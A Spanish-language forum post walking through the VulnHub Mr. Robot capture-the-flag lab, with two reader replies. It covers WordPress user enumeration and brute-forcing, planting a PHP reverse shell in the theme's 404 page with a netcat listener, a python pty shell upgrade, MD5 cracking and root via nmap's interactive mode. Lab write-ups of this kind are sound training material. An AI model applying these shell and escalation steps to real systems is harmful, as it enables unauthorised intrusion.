Underc0de

Hola, hace tiempos sin postear nada y vi que cnfs realizo write-up de un ctf, haré lo mismo un pequeño reto que me colocaron en la empresa sin poder utilizar metasploit :c ok, el cual me saco las canas verdes un rato.

Mr. Robot CTF: https://www.vulnhub.com/entry/mr-robot-1,151/

• Comenzando, hice un simple escaneo a la dirección 192.168.1.101 donde lo tengo montado.
  
  (https://3.bp.blogspot.com/-rADJNqK9MiY/V8UAks8vLjI/AAAAAAAAABQ/qA0K2kHvKhsj4CjSgqd-oUeYqB_NUjWFgCLcB/s1600/000.png)
  
  Como vemos el puerto 80 y el 443 están abiertos y el 22 cerrado.
  
  Entramos a la direccion de la maquina victima, y nos mostrava esto :c sin links así que 0 vul que testear xD :c
  
  (https://4.bp.blogspot.com/-E4DuqyGj5jg/V8UBsBH4kGI/AAAAAAAAABg/3IS_3gR8zZMHJd4uT72rPK1qD73XhU9GQCLcB/s1600/001.png)
  
  Lo siguiente que realize fué buscar arhivos en el servidor para esto utilize la herramienta dirb, después de un rato de espera tenemos resultado
  
  Genial un wordpress :3
  
  (https://2.bp.blogspot.com/-PtQpjdG1VLI/V8UAi7QcPZI/AAAAAAAAABE/Sc6zTEPr6vwm_ry7s7z1ppucBjqa6UEFgCLcB/s1600/00.png)
  
  
• y los robots.txt
  
  (https://1.bp.blogspot.com/-VKhnfIos7B8/V8UAkZbHhgI/AAAAAAAAABM/OkEDkOMt_2g7YkDLue7ijrMAPItgPya9wCLcB/s1600/01.png)
  
  Primero le veremos los robots.txt
  
  (https://2.bp.blogspot.com/-ypWFBuPcOJM/V8UAkyYYQ3I/AAAAAAAAABU/2HGKFBYaww8xzMnWvf_g-5IQGLTN_30rACLcB/s1600/02.png)
  
  Genial, tenemos la 1 key de 3 :3 aparte de esto hay un diccionario que nos servira mucho :3
  
  Como ya se que es un wordpress utilizare la herramienta CMSmap :3 para ver si tiene algun fallo ha explotar
  
  (https://2.bp.blogspot.com/-IE70bX7NRvg/V8UDZQhRyHI/AAAAAAAAABs/JgJzWu13GZYror0SJ_kOK53Ny9T5dYCPwCLcB/s1600/01.png)
  
  No fué mucho lo que obtuve :c solo esta parte intersante el cual nos permitia enumerar usuarios a través de un forgotten password.
  
  
• Enumerando Usuarios.
  
  Para esto vamos a usar el diccionario que encontramos en robots.txt haciendo un poco de fuzzing con zap
  
  Zed Attack Proxy (ZAP) es una herramienta proveniente del Proyecto OWASP para realizar tests de penetración en aplicaciones web.
  Zap ya esta incluida por defecto en Kali Linux asi que solo basta con ejectutar en consola zaproxy en consola. Ahora configuramos nuestro proxy nuestro navegador.
  
  Nuestro ataque será dirigido hacía la ruta 192.168.1.101/wp-login
  Login: Devel
  Password: develsecurity
  
  (https://2.bp.blogspot.com/-2zwMn2X6PuM/V8UGZ_8JzGI/AAAAAAAAAB4/4OKeCNxVkTE8uR0FFOyq96FBkLozarK4ACLcB/s1600/07.png)
  
  Nos devuelve la siguiente respuesta en el zaproxy, seleccionamos la respuesta que sería devel, click derecho y seleccionamos la opción de fuzz.
  Para realizar la opción de fuzz utilizare un diccionario de robots.txt.
  
  (https://1.bp.blogspot.com/-gbnQcncyONA/V8UGZ0MJUyI/AAAAAAAAAB8/pRJob8ifh_U2aed6BT7hukfbHjtmbK7rwCLcB/s1600/09.png)
  
  Seleccionamos Añadir, y luego Start Fuzzer
  
  Al revisar la respuesta claramente nos dice que el usuario es invalido.
  
  (https://3.bp.blogspot.com/-VYxPnx6JGL8/V8UGae6BcMI/AAAAAAAAACA/0qAy9UsraUABbz5n2ZG4-aPw_LRzz2noACLcB/s1600/12.png)
  
  Como vemos nos marca con un Reflected, y revisando la respuesta nos damos cuenta que nos dice contraseña invalida para el usuario Elliot. Hemos encontrado nuestro usuario.
  
  (https://4.bp.blogspot.com/-17PJhIo2Uvo/V8UGZ_ZeJSI/AAAAAAAAAB0/7eNXOxsqHsUjE2BhUAI9PAxtfvvB58FEgCLcB/s1600/11.png)
  
  
• Ataque de Fuerza Bruta.
  
  Siempre utilizando el diccionario y cmsmap haré un ataque de fuerza bruta, solo que ahora para ahorra tiempo lo acortaremos un poco con la herramienta sort de la siguiente manera. (Gracias a cierto miembro de la empresa por el tip)
  
  cat fsocity.dic | wc -l
  sort -u fsocity.dic | wc -l
  sort -u fsocity.dic > fsocity.small.dic
  
  Ahora utilizamos CMSmap.
  
  (https://2.bp.blogspot.com/-dQe2nC3MZRw/V8UGbDYD4II/AAAAAAAAACE/SIB5npHfP0Qs_8VOwWt5piHRBZk7KXAKwCLcB/s1600/13.png)
  
  -u = El nombre de usario en nuestro caso sería Elliot
  -p = passwords, el path de nuestro wordlist.
  Listo luego de un tiempo CMSmap completa su trabajo.
  
  Ahora utilizando las credenciales obtenidas:
  
  (https://4.bp.blogspot.com/-xmE3-chji3I/V8UGbOglEEI/AAAAAAAAACI/H_KD52Zu1q4gR6qfGJ1QuYnXVZws9HA-QCLcB/s1600/15.png)
  (https://3.bp.blogspot.com/-9rndcR2wSXE/V8UGb4a-EwI/AAAAAAAAACQ/_F3m7PJ7BqAQJ4cY9d6JIB4R22zjJ3ffQCLcB/s1600/16.png)
  
  Listo estamos dentro, :3 ahora solo falta tener un shell inversa en el host :c jaja como regla era no usar metasploit así que me recorde que anteriores ctf un amigo me recomendo shells de http://pentestmonkey.net/tools/web-shells/php-reverse-shell
  
  Así que descargamos y configuramos
  
  $ip = '127.0.0.1';  // CHANGE THIS (IP Atacante en nuestro caso 192.168.1.100)
  $port = 1234;       // CHANGE THIS
  
  y en consola pondremos a la escucha netcat: nc -v -n -l -p 1234
  
  Ahora vamos a editar la página de error 404 copiando el codigo de nuestra shell :3
  
  (https://3.bp.blogspot.com/-KzSDBIEYGrA/V8ULxwZcSdI/AAAAAAAAACc/miUI6zsh_1IaAf5vmUB9FNYTLpBUjh5kQCLcB/s1600/00000.png)
  
  Ahora ingresamos a la direccion de nuestra shell http://192.168.1.101/404.php
  
  (https://4.bp.blogspot.com/-I4neM-Ug0P8/V8UAjJ3-Z0I/AAAAAAAAABI/o_mwD9dbpNYS9FGCWcoBcP7NTWONoF6BgCLcB/s1600/003.png)
  
  Listo :3 estamos dentro ahora solo nos movemos para el /home/robot
  
  (https://3.bp.blogspot.com/-fnTrQXhQjR0/V8UAlGGZD-I/AAAAAAAAABY/ojDyAuMiIZgwnwbpgoIkGKJCskhFSSM2ACLcB/s1600/05.png)
  
  :C bueno aqui fué la parte donde me salieron canas verdes, necesitava una terminal :c contacte con quien me recomendo la php shell y me dijo que en la misma página se encontraba esto: http://pentestmonkey.net/blog/post-exploitation-without-a-tty , asi que para llamar a la terminal utilizare python -c 'import pty; pty.spawn("/bin/sh")'
  
  (https://3.bp.blogspot.com/-PBmTQ-gI24U/V8UQn7vbp0I/AAAAAAAAACs/zqJYPgUGq64Qnfy0zTikKIwTPiciK3_wACLcB/s1600/06.png)
  
  :3 listo tenemos nuestra terminal :3 pero el problema sigue, la key 2 pertenese al usuario robot y nosotros estamos como daemon, pero hay otro archivo intresante el password.raw-md5
  
  (https://4.bp.blogspot.com/-isvJq_CkmfI/V8USEUpD_wI/AAAAAAAAAC0/lzJLa2FjQ_ErkKe0sYxbztaa3gxda_vEgCLcB/s1600/Captura%2Bde%2Bpantalla%2Bde%2B2016-08-29%2B22-54-00.png)
  
  robot:c3fcd3d76192e4007dfb496cca67e13b
  
  Usuario y contraseña como vemos es un md5 y si lo colocamos en google :3 abcdefghijklmnopqrstuvwxyz , ahora ejecutamos su robot
  
  (https://1.bp.blogspot.com/-D5r58rpPMRE/V8UTdKAfOvI/AAAAAAAAADA/-jZ7lOJ0fowFaa1JKN27i-mUFg1qlfAagCLcB/s1600/07.png)
  
  Ahora si podemos hacer un cat de la segunda key :3
  
  (https://2.bp.blogspot.com/-Ya6dq7woyVQ/V8US3LqVvGI/AAAAAAAAAC4/TiLewYbkDSwtbDxWQtkZjRHvaDRE1JsVQCLcB/s1600/08.png)
  
  solo una mas y pwned, para lo siguiente un par de cervezas y cigarros xD, el ultimo flag no lo pude resolver, no encontre como elevar privilegios :c. Les dare la solución que hizo un miembro de la empreza, primero ejecuta nmap, al ver que este estava instalado uso la opción --interactive y luego ejecuto !sh,
  
  Esta opción nos permite ejecutar una terminal como root y bum key 3 :3
  
  (https://4.bp.blogspot.com/-w4Pj7U153Fc/V8UXIluYpKI/AAAAAAAAADM/a3_J8kCtEdURKwWsbIhrznZ1AM7LE4vogCLcB/s1600/09.png)
  
  Agradecimiento al team DevelSecurity.
  
  

Buen tuto! yo lo tengo también resuelto en mi blog, pero creo que me enrollo demasiado escribiendo xD.
Un saludo.

me quedaron unas dudas

nmap estaba con setuid, no? como se dieron cuenta?
ademas es una version muy vieja. La mia no tiene --interactive. Sigue existiendo con otro nombre?